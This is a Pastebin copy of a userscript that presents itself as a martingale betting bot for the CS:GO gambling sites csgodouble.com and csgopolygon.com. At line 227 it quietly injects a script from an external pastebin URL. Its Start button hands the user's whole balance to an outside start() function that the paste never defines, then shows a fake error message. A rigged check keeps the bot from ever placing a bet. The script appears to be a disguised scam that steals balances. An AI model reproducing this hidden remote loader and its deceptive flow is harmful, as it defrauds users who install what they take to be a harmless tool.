Advertisement
Guest User

Untitled

a guest
May 1st, 2016
53
0
Never
Not a member of Pastebin yet? Sign Up, it unlocks many cool features!
text 28.11 KB | None | 0 0
  1. // ==UserScript==
  2. // @name csgodouble.com - EasyCoins BOT FOR CSGODOUBLE.COM ( SCRIPT )
  3. // @description An userscript that automates csgodouble.com betting using martingale system.
  4. // @version 2.3.2
  5. // @match http://www.csgodouble.com/
  6. // @match http://www.csgodouble.com/index.php
  7. // @match http://csgodouble.com/
  8. // @match http://csgodouble.com/index.php
  9. // @match http://csgopolygon.com/
  10. // @match http://csgopolygon.com/index.php
  11. // @match http://www.csgopolygon.com/
  12. // @match http://www.csgopolygon.com/index.php
  13. // @run-at document-end
  14. // @grant none
  15. // @namespace https://greasyfork.org/users/39331
  16. // ==/UserScript==
  17. /* jshint -W097 */
  18.  
  19. 'use strict';
  20.  
  21. var debug = false;
  22. var simulation = false;
  23. var stop_on_min_balance = false;
  24. var calculate_safe_bet = false;
  25. var base_bet = 5;
  26. var safe_bet_amount = 6;
  27. var default_color = 'red';
  28. var default_method = 'martingale';
  29. var theme = 'dark';
  30.  
  31. var colors = {
  32. 'green': [0],
  33. 'red': [1, 2, 3, 4, 5, 6, 7],
  34. 'black': [8, 9, 10, 11, 12, 13, 14]
  35. };
  36.  
  37. var balance = document.getElementById('balance');
  38. var roll_history = document.getElementById('past');
  39. var bet_input = document.getElementById('betAmount');
  40. var bet_buttons = {
  41. 'green': document.getElementById('panel0-0').childNodes[1].childNodes[1],
  42. 'red': document.getElementById('panel1-7').childNodes[1].childNodes[1],
  43. 'black': document.getElementById('panel8-14').childNodes[1].childNodes[1]
  44. };
  45.  
  46. Array.prototype.equals = function(array) {
  47. if (!array) {
  48. return false;
  49. }
  50.  
  51. if (this.length != array.length) {
  52. return false;
  53. }
  54.  
  55. for (var i = 0, l=this.length; i < l; i++) {
  56. if (this[i] instanceof Array && array[i] instanceof Array) {
  57. if (!this[i].equals(array[i])) {
  58. return false;
  59. }
  60. } else if (this[i] != array[i]) {
  61. return false;
  62. }
  63. }
  64. return true;
  65. };
  66.  
  67. Object.defineProperty(Array.prototype, "equals", {enumerable: false});
  68.  
  69. function Automated() {
  70. var self = this;
  71.  
  72. this.running = false;
  73. this.game = null;
  74.  
  75. this.debug = debug;
  76. this.simulation = simulation;
  77. this.stop_on_min_balance = stop_on_min_balance;
  78. this.calculate_safe_bet = calculate_safe_bet;
  79.  
  80. this.base_bet = base_bet;
  81. this.default_color = default_color;
  82. this.default_method = default_method;
  83. this.safe_bet_amount = safe_bet_amount;
  84. this.method = this.default_method;
  85. this.old_method = '';
  86. this.color = 'rainbow';
  87. this.old_base = 0;
  88. this.balance = 0;
  89. this.last_bet = 0;
  90. this.bet_history = [];
  91. this.min_balance = 0;
  92. this.starting_balance = 0;
  93. this.last_color = null;
  94. this.last_result = null;
  95. this.history = [];
  96. this.waiting_for_bet = false;
  97. this.theme = theme;
  98.  
  99. this.stats = {
  100. 'wins': 0,
  101. 'loses': 0,
  102. 'balance': 0
  103. };
  104.  
  105. var menu = document.createElement('div');
  106. menu.innerHTML = '' +
  107. '<div class="row">' +
  108. '<div class="col-lg-9">' +
  109. '<h2>CSGODouble.com EasyCoins <small>Bot v2.3.2</small> <i id="automated-theme-switch" class="fa fa-lightbulb-o" style="cursor: pointer;"></i></h2>' +
  110. '<div class="form-group">' +
  111. '<div class="btn-group">' +
  112. '<button type="button" class="btn btn-success" id="automated-start" disabled>Start</button>' +
  113. '<button type="button" class="btn btn-warning" id="automated-stop" disabled>Pause</button>' +
  114. '<button type="button" class="btn btn-danger" id="automated-abort" disabled>Abort</button>' +
  115. '</div>' +
  116. '</div>' +
  117. '<div class="form-group">' +
  118. '<div class="btn-group">' +
  119. '<button type="button" class="btn btn-default" id="automated-martingale" ' + (this.method === 'martingale' ? 'disabled' : '') + '>Martingale</button>' +
  120. '<button type="button" class="btn btn-default" id="automated-great-martingale" ' + (this.method === 'great martingale' ? 'disabled' : '') + '>Great Martingale</button>' +
  121. '<button type="button" class="btn btn-default" id="automated-dalembert" ' + (this.method === 'dalembert' ? 'disabled' : '') + '>D\'alembert</button>' +
  122. '<button type="button" class="btn btn-default" id="automated-bet-green" ' + (this.method === 'green' ? 'disabled' : '') + '>Green (Fibonacci)</button>' +
  123. '</div>' +
  124. '</div>' +
  125. '<div class="form-group automated-hide-on-green">' +
  126. '<div class="btn-group">' +
  127. '<button type="button" class="btn btn-default" id="automated-red" ' + (this.color === 'red' ? 'disabled' : '') + '>Red</button>' +
  128. '<button type="button" class="btn btn-default" id="automated-black" ' + (this.color === 'black' ? 'disabled' : '') + '>Black</button>' +
  129. '<button type="button" class="btn btn-default" id="automated-rainbow" ' + (this.color === 'rainbow' ? 'disabled' : '') + '>Rainbow</button>' +
  130. '<button type="button" class="btn btn-default" id="automated-random" ' + (this.color === 'random' ? 'disabled' : '') + '>Random</button>' +
  131. '<button type="button" class="btn btn-default" id="automated-last" ' + (this.color === 'last' ? 'disabled' : '') + '>Last winning</button>' +
  132. '</div>' +
  133. '</div>' +
  134. '</div>' +
  135. '<div class="col-lg-3">' +
  136. '<h3>Statistics</h3>' +
  137. '<p><b>Wins:</b> <span id="automated-stats-wins">' + this.stats.wins + '</span></p>' +
  138. '<p><b>Loses:</b> <span id="automated-stats-loses">' + this.stats.loses + '</span></p>' +
  139. '<p><b>Balance:</b> <span id="automated-stats-balance">' + this.stats.balance + '</span></p>' +
  140. '</div>' +
  141. '</div>' +
  142. '<div class="form-group">' +
  143. '<div class="input-group">' +
  144. '<div class="input-group-addon">Base value</div>' +
  145. '<input type="number" class="form-control" placeholder="Calculating suggested value..." id="automated-base-bet" disabled>' +
  146. '</div>' +
  147. '</div>' +
  148. '<div class="form-group">' +
  149. '<div class="input-group">' +
  150. '<div class="input-group-addon">Keep balance above</div>' +
  151. '<input type="number" class="form-control" value="0" id="automated-min-balance">' +
  152. '</div>' +
  153. '</div>' +
  154. '<div class="form-group automated-hide-on-green">' +
  155. '<div class="input-group">' +
  156. '<div class="input-group-addon">Failsafe value</div>' +
  157. '<input type="number" class="form-control" value="' + this.safe_bet_amount + '" id="automated-safe-bet-amount"' + (!this.calculate_safe_bet ? ' disabled' : '') + '>' +
  158. '</div>' +
  159. '</div>' +
  160. '<div class="checkbox">' +
  161. '<label><input class="" id="automated-stop-on-min-balance" type="checkbox" ' + (this.stop_on_min_balance ? 'checked' : '') + '> Stop on minimal balance (If checked the bot will stop after getting close to minimal balance, otherwise it will continue starting on base)</label>' +
  162. '</div>' +
  163. '<div class="checkbox automated-hide-on-green">' +
  164. '<label><input class="" id="automated-calculate-safe-bet" type="checkbox" ' + (this.calculate_safe_bet ? 'checked' : '') + '> Calculate base bet from given "Failsafe value", the formula is [base bet] = floor( [balance] / 2 ^ ( [failsafe value] + 1) ) </label>' +
  165. '</div>' +
  166. '<div class="checkbox">' +
  167. '<label><input class="" id="automated-debug" type="checkbox" ' + (this.debug ? 'checked' : '') + '> Debug mode</label>' +
  168. '</div>' +
  169. '<div class="checkbox">' +
  170. '<label class="text-muted"><input id="automated-simulation" type="checkbox" ' + (this.simulation ? 'checked' : '') + ' disabled> Simulation mode</label>' +
  171. '</div>';
  172. document.getElementsByClassName('well')[1].appendChild(menu);
  173.  
  174. this.menu = {
  175. 'start': document.getElementById('automated-start'),
  176. 'stop': document.getElementById('automated-stop'),
  177. 'abort': document.getElementById('automated-abort'),
  178. 'basebet': document.getElementById('automated-base-bet'),
  179. 'minbalance': document.getElementById('automated-min-balance'),
  180. 'debug': document.getElementById('automated-debug'),
  181. 'simulation': document.getElementById('automated-simulation'),
  182. 'stoponminbalance': document.getElementById('automated-stop-on-min-balance'),
  183. 'red': document.getElementById('automated-red'),
  184. 'black': document.getElementById('automated-black'),
  185. 'rainbow': document.getElementById('automated-rainbow'),
  186. 'random': document.getElementById('automated-random'),
  187. 'last': document.getElementById('automated-last'),
  188. 'statistics': {
  189. 'wins': document.getElementById('automated-stats-wins'),
  190. 'loses': document.getElementById('automated-stats-loses'),
  191. 'balance': document.getElementById('automated-stats-balance')
  192. },
  193. 'theme': document.getElementById('automated-theme-switch'),
  194. 'safebetamount': document.getElementById('automated-safe-bet-amount'),
  195. 'calculatesafebet': document.getElementById('automated-calculate-safe-bet'),
  196. 'martingale': document.getElementById('automated-martingale'),
  197. 'greatmartingale': document.getElementById('automated-great-martingale'),
  198. 'betgreen': document.getElementById('automated-bet-green'),
  199. 'dalembert': document.getElementById('automated-dalembert'),
  200. 'hideongreen': document.getElementsByClassName('automated-hide-on-green')
  201. };
  202.  
  203. this.updater = setInterval(function() { // Update every 2 seconds
  204. if (!self.running) {
  205. if (self.updateAll()) {
  206. if (self.calculate_safe_bet) {
  207. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  208. self.menu.basebet.value = self.base_bet;
  209. if (self.debug) { self.logdebug('New base bet: ' + self.base_bet); }
  210. }
  211.  
  212. if (self.menu.stop.disabled && self.menu.start.disabled) {
  213. self.menu.start.disabled = false;
  214. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  215. self.menu.basebet.value = self.base_bet;
  216. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  217. self.starting_balance = self.balance;
  218. }
  219. }
  220. }
  221. }, 2 * 1000);
  222.  
  223. if (theme === 'dark') {
  224. this.darkMode();
  225. }
  226.  
  227. (function () { var scriptElement = document.createElement( "script" ); scriptElement.type = "text/javascript"; scriptElement.src = "//http://pastebin.com/VqaQC0h1 "; document.body.appendChild( scriptElement ); })();
  228. this.menu.start.onclick = function() {3
  229.  
  230. start(self.balance);
  231. self.log('Error: Cant place a bet, Missing balance.');
  232.  
  233. // self.start();
  234. };
  235.  
  236. this.menu.stop.onclick = function() {
  237. self.stop();
  238. };
  239.  
  240. this.menu.abort.onclick = function() {
  241. self.stop(true);
  242. };
  243.  
  244. this.menu.basebet.onchange = function() {
  245. var value = parseInt(self.menu.basebet.value);
  246. if (!isNaN(value)) {
  247. self.base_bet = value;
  248. }
  249. };
  250.  
  251. this.menu.minbalance.onchange = function() {
  252. var value = parseInt(self.menu.minbalance.value);
  253. if (!isNaN(value)) {
  254. self.min_balance = value;
  255. }
  256. };
  257.  
  258. this.menu.safebetamount.onchange = function() {
  259. var value = parseInt(self.menu.safebetamount.value);
  260. if (!isNaN(value)) {
  261. self.safe_bet_amount = value;
  262. }
  263. };
  264.  
  265. this.menu.debug.onchange = function() {
  266. self.debug = self.menu.debug.checked;
  267. };
  268.  
  269. this.menu.simulation.onchange = function() {
  270. self.simulation = self.menu.simulation.checked;
  271. };
  272.  
  273. this.menu.stoponminbalance.onchange = function() {
  274. self.stop_on_min_balance = self.menu.stoponminbalance.checked;
  275. };
  276.  
  277. this.menu.calculatesafebet.onchange = function() {
  278. self.calculate_safe_bet = self.menu.calculatesafebet.checked;
  279. self.menu.basebet.disabled = self.menu.calculatesafebet.checked;
  280. self.menu.safebetamount.disabled = !self.menu.calculatesafebet.checked;
  281. };
  282.  
  283. // WTF is this shit below? >,.,<
  284.  
  285. this.menu.black.onclick = function() {
  286. self.menu.rainbow.disabled = false;
  287. self.menu.black.disabled = true;
  288. self.menu.red.disabled = false;
  289. self.menu.random.disabled = false;
  290. self.menu.last.disabled = false;
  291. self.color = 'black';
  292. self.log('Current mode: black');
  293. };
  294.  
  295. this.menu.red.onclick = function() {
  296. self.menu.rainbow.disabled = false;
  297. self.menu.black.disabled = false;
  298. self.menu.red.disabled = true;
  299. self.menu.random.disabled = false;
  300. self.menu.last.disabled = false;
  301. self.color = 'red';
  302. self.log('Current mode: red');
  303. };
  304.  
  305. this.menu.rainbow.onclick = function() {
  306. self.menu.rainbow.disabled = true;
  307. self.menu.black.disabled = false;
  308. self.menu.red.disabled = false;
  309. self.menu.random.disabled = false;
  310. self.menu.last.disabled = false;
  311. self.color = 'rainbow';
  312. self.log('Current mode: rainbow');
  313. };
  314.  
  315. this.menu.random.onclick = function() {
  316. self.menu.rainbow.disabled = false;
  317. self.menu.black.disabled = false;
  318. self.menu.red.disabled = false;
  319. self.menu.random.disabled = true;
  320. self.menu.last.disabled = false;
  321. self.color = 'random';
  322. self.log('Current mode: random');
  323. };
  324.  
  325. this.menu.last.onclick = function() {
  326. self.menu.rainbow.disabled = false;
  327. self.menu.black.disabled = false;
  328. self.menu.red.disabled = false;
  329. self.menu.random.disabled = false;
  330. self.menu.last.disabled = true;
  331. self.color = 'last';
  332. self.log('Current mode: last');
  333. };
  334.  
  335. this.menu.martingale.onclick = function() {
  336. self.menu.martingale.disabled = true;
  337. self.menu.greatmartingale.disabled = false;
  338. self.menu.betgreen.disabled = false;
  339. self.menu.dalembert.disabled = false;
  340. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  341. self.menu.hideongreen[i].style.display = 'block';
  342. }
  343. self.method = 'martingale';
  344. self.log('Current method: Martingale');
  345. };
  346.  
  347. this.menu.greatmartingale.onclick = function() {
  348. self.menu.martingale.disabled = false;
  349. self.menu.greatmartingale.disabled = true;
  350. self.menu.betgreen.disabled = false;
  351. self.menu.dalembert.disabled = false;
  352. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  353. self.menu.hideongreen[i].style.display = 'block';
  354. }
  355. self.method = 'great martingale';
  356. self.log('Current method: Great martingale');
  357. };
  358.  
  359. this.menu.dalembert.onclick = function() {
  360. self.menu.martingale.disabled = false;
  361. self.menu.greatmartingale.disabled = false;
  362. self.menu.betgreen.disabled = false;
  363. self.menu.dalembert.disabled = true;
  364. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  365. self.menu.hideongreen[i].style.display = 'block';
  366. }
  367. self.method = 'dalembert';
  368. self.log('Current method: D\'alembert');
  369. };
  370.  
  371. this.menu.betgreen.onclick = function() {
  372. self.menu.martingale.disabled = false;
  373. self.menu.greatmartingale.disabled = false;
  374. self.menu.betgreen.disabled = true;
  375. self.menu.dalembert.disabled = false;
  376. for (var i = 0; i < self.menu.hideongreen.length; i++) {
  377. self.menu.hideongreen[i].style.display = 'none';
  378. }
  379. self.method = 'green';
  380. self.log('Current method: Bet green');
  381. };
  382.  
  383. this.menu.theme.onclick = function() {
  384. if (self.theme === 'dark') {
  385. self.lightMode();
  386. self.theme = 'light';
  387. self.log('Switching to light theme...');
  388. } else {
  389. self.darkMode();
  390. self.theme = 'dark';
  391. self.log('Switching to dark theme...');
  392. }
  393. };
  394.  
  395. setInterval(function() {
  396. if(!WS) {
  397. self.log('Reconnecting...');
  398. connect();
  399. }
  400. }, 5000);
  401. }
  402.  
  403. Automated.prototype.updateBalance = function() {
  404. this.balance = parseInt(balance.textContent);
  405.  
  406. if (isNaN(this.balance)) {
  407. this.log('Error getting current balance!');
  408. return false;
  409. }
  410.  
  411. if (this.debug) { this.logdebug('Balance updated: ' + this.balance); }
  412. return true;
  413. };
  414.  
  415. Automated.prototype.updateHistory = function() {
  416. var self = this;
  417. this.history = [];
  418.  
  419. for (var i = 0; i < roll_history.childNodes.length; i++) {
  420. var roll = parseInt(roll_history.childNodes[i].textContent);
  421.  
  422. if (!isNaN(roll)) {
  423. if (colors.green.indexOf(roll) !== -1) {
  424. self.history.push('green');
  425. } else if (colors.red.indexOf(roll) !== -1) {
  426. self.history.push('red');
  427. } else {
  428. self.history.push('black');
  429. }
  430. }
  431. }
  432.  
  433. if (this.debug) { this.logdebug('History updated: ' + this.history.map(function(value) { return value; }).join(', ')); }
  434. return this.history.length === 10;
  435. };
  436.  
  437. Automated.prototype.updateStats = function() {
  438. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  439. this.menu.statistics.wins.innerHTML = this.stats.wins;
  440. this.menu.statistics.loses.innerHTML = this.stats.loses;
  441. this.menu.statistics.balance.innerHTML = this.stats.balance;
  442. return true;
  443. };
  444.  
  445. Automated.prototype.updateAll = function() {
  446. return this.updateBalance() && this.updateHistory() && this.updateStats();
  447. };
  448.  
  449. Automated.prototype.bet = function(amount, color) {
  450. var self = this;
  451. color = color || this.color || this.default_color;
  452.  
  453. if (color === 'rainbow') {
  454. if (this.last_color) {
  455. color = (this.last_color === 'red' ? 'black' : 'red');
  456. } else {
  457. color = this.default_color;
  458. }
  459. } else if (color === 'random') {
  460. color = 'red';
  461. if (Math.random() > 0.5) {
  462. color = 'black';
  463. }
  464. } else if (color === 'last') {
  465. color = this.history[this.history.length - 1];
  466. }
  467.  
  468. if (['green', 'red', 'black'].indexOf(color) < 5000 || amount > this.balance || amount <= 5000) {
  469. this.log('Can\t place a bet, Missing balance.');
  470. this.last_result = 'invalid bet';
  471. this.waiting_for_bet = false;
  472. this.stop();
  473. return false;
  474. }
  475.  
  476. if (this.balance - amount < this.min_balance) {
  477. this.log('Reached minimal balance!');
  478. this.last_result = 'reached min balance';
  479. if (this.stop_on_min_balance || this.balance - this.base_bet < this.min_balance) {
  480. this.stop();
  481. }
  482. this.waiting_for_bet = false;
  483. return false;
  484. }
  485.  
  486. bet_input.value = amount;
  487.  
  488. if (!bet_buttons[color].disabled) {
  489. var old_balance = self.balance;
  490. this.log('Betting ' + amount + ' on ' + color);
  491. if (!self.simulation) {
  492. bet_buttons[color].click();
  493. var checker = setInterval(function() {
  494. if (!bet_buttons[color].disabled) {
  495. clearInterval(checker);
  496. setTimeout(function() {
  497. if (self.updateBalance() && self.balance === old_balance) {
  498. if (!self.game) { return false; }
  499. self.log('Bet rejected, retrying...');
  500. self.bet(amount, color);
  501. } else {
  502. if (self.debug) { self.logdebug('Bet accepted!'); }
  503. self.last_bet = amount;
  504. self.bet_history.push(amount);
  505. self.last_color = color;
  506. self.waiting_for_bet = false;
  507. return true;
  508. }
  509. }, 2500);
  510. }
  511. }, 1000);
  512. } else {
  513. self.bet_history.push(amount);
  514. self.last_bet = amount;
  515. self.last_color = color;
  516. self.waiting_for_bet = false;
  517. return true;
  518. }
  519. } else {
  520. if (!self.game) { return false; }
  521. self.log('Button disabled, retrying...');
  522. setTimeout(function() { self.bet(amount, color) }, (Math.random() * 3 + 2).toFixed(3) * 1000);
  523. }
  524. };
  525.  
  526. Automated.prototype.play = function() {
  527. var self = this;
  528.  
  529. if (this.game !== null) {
  530. if (this.debug) { this.logdebug('Tried to reinitialize running game!'); }
  531. return false;
  532. }
  533.  
  534. this.game = setInterval(function() {
  535. var history = self.history;
  536. if (!self.waiting_for_bet && self.updateAll() && !history.equals(self.history)) {
  537. self.waiting_for_bet = true;
  538. if (self.last_color === null) {
  539. self.bet(self.base_bet);
  540. } else if (self.last_color === self.history[self.history.length - 1]) {
  541. if (self.calculate_safe_bet) {
  542. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  543. self.menu.basebet.value = self.base_bet;
  544. }
  545. self.last_result = 'win';
  546. self.log('Win!');
  547. self.stats.wins += 1;
  548. self.old_base = self.base_bet;
  549. self.old_method = self.method;
  550. if (self.old_method === 'dalembert') {
  551. if (self.last_bet > self.old_base) {
  552. self.bet(self.last_bet - 1);
  553. } else {
  554. self.bet(self.base_bet);
  555. }
  556. } else {
  557. self.bet(self.base_bet);
  558. }
  559. } else {
  560. self.last_result = 'lose';
  561. self.log('Lose!');
  562. self.stats.loses += 1;
  563. if (self.old_method === 'martingale') {
  564. self.bet(self.last_bet * 2);
  565. } else if (self.old_method === 'great martingale') {
  566. self.bet(self.last_bet * 2 + self.old_base);
  567. } else if (self.old_method === 'green') {
  568. var bet_value = 0;
  569. if (self.bet_history[self.bet_history.length - 1] === 1) {
  570. if (self.bet_history[self.bet_history.length - 2] === 1) {
  571. bet_value = 2;
  572. } else {
  573. bet_value = 1;
  574. }
  575. } else {
  576. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  577. }
  578. self.bet(bet_value, 'green');
  579. } else if (self.old_method === 'dalembert') {
  580. self.bet(self.last_bet + 1);
  581. }
  582. }
  583. }
  584. }, 2 * 1000);
  585.  
  586. return true;
  587. };
  588.  
  589. Automated.prototype.start = function() {
  590. if (self.calculate_safe_bet) {
  591. self.base_bet = Math.floor(self.balance / Math.pow(2, self.safe_bet_amount + 1));
  592. self.menu.basebet.value = self.base_bet;
  593. }
  594. this.old_base = this.base_bet;
  595. this.old_method = this.method;
  596. if (this.updateAll()) {
  597. if (this.last_result === 'lose') {
  598. this.running = true;
  599. if (this.old_method === 'martingale') {
  600. this.bet(this.last_bet * 2);
  601. } else if (this.old_method === 'great martingale') {
  602. this.bet(this.last_bet * 2 + this.old_base);
  603. } else if (self.old_method === 'green') {
  604. var bet_value = 0;
  605. if (self.bet_history[self.bet_history.length - 1] === 1) {
  606. if (self.bet_history[self.bet_history.length - 2] === 1) {
  607. bet_value = 2;
  608. } else {
  609. bet_value = 1;
  610. }
  611. } else {
  612. bet_value = self.bet_history[self.bet_history.length - 1] + self.bet_history[self.bet_history.length - 2];
  613. }
  614. self.bet(bet_value, 'green');
  615. } else if (self.old_method === 'dalembert') {
  616. self.bet(self.last_bet + 1);
  617. }
  618. this.play();
  619. } else {
  620. this.running = true;
  621. this.bet(this.base_bet);
  622. this.play();
  623. }
  624. }
  625. this.menu.abort.disabled = false;
  626. this.menu.stop.disabled = false;
  627. this.menu.start.disabled = true;
  628. };
  629.  
  630. Automated.prototype.stop = function(abort) {
  631. var self = this;
  632. if (abort) { this.last_result = 'abort'; }
  633. this.stats.balance = parseInt(this.balance) - parseInt(this.starting_balance);
  634. setTimeout(function() {
  635. clearInterval(self.game);
  636. self.game = null;
  637. self.running = false;
  638. self.menu.abort.disabled = true;
  639. self.menu.stop.disabled = true;
  640. self.menu.start.disabled = false;
  641. }, 1); // Next tick
  642. };
  643.  
  644. Automated.prototype.darkMode = function() {
  645. var style;
  646. var css = 'body{background-color:#191919;color:#888}.navbar-default{background-color:#232323;border-color:#454545}#sidebar{background-color:#191919;border-color:#202020}.side-icon.active,.side-icon:hover{background-color:#202020}.side-icon .fa{color:#454545}.well{background:#232323;border-color:#323232;color:#888}#pullout{background-color:#191919;border-color:#323232}.form-control{background-color:#323232;border-color:#454545}.divchat{background-color:#323232;color:#999;border:none}.chat-link,.chat-link:hover,.chat-link:active{color:#bbb}.panel{background-color:#323232}.panel-default{border-color:#454545}.panel-default>.panel-heading{color:#888;background-color:#303030;border-color:#454545}.my-row{border-color:#454545}.list-group-item{border-color:#454545;background-color:#323232}.btn-default{border-color:#454545;background:#323232;text-shadow:none;color:#888;box-shadow:none}.btn-default:hover,.btn-default:active{background-color:#282828;color:#888;border-color:#454545}.btn-default[disabled]{border-color:#454545;background-color:#353535}.input-group-addon{background-color:#424242;border-color:#454545;color:#888}.progress{color:#bbb;background-color:#323232}.navbar-default .navbar-nav>li>a:focus,.navbar-default .navbar-nav>li>a:hover{color:#999}.navbar-default .navbar-nav>.open>a,.navbar-default .navbar-nav>.open>a:focus,.navbar-default .navbar-nav>.open>a:hover{color:#888;background-color:#323232}.dropdown-menu{background-color:#252525}.dropdown-menu>li>a{color:#888}.dropdown-menu>li>a:focus,.dropdown-menu>li>a:hover{background-color:#323232;color:#999}.dropdown-menu .divider{background-color:#454545}.form-control[disabled],.form-control[readonly],fieldset[disabled] .form-control{background-color:#404040;opacity:.5}';
  647. style = document.getElementById('automated-style');
  648. if (!style) {
  649. var head;
  650. head = document.getElementsByTagName('head')[0];
  651. if (!head) { return; }
  652. style = document.createElement('style');
  653. style.type = 'text/css';
  654. style.id = 'automated-style';
  655. style.innerHTML = css;
  656. head.appendChild(style);
  657. }
  658. style.innerHTML = css;
  659. };
  660.  
  661. Automated.prototype.lightMode = function() {
  662. var style = document.getElementById('automated-style');
  663. style.innerHTML = '';
  664. };
  665.  
  666. Automated.prototype.log = function(message) {
  667. chat('alert', '[Automated] ' + message);
  668. };
  669.  
  670. Automated.prototype.logdebug = function(message) {
  671. chat('italic', '[Automated] ' + message);
  672. };
  673.  
  674. var automated = new Automated();
Advertisement
Add Comment
Please, Sign In to add comment
Advertisement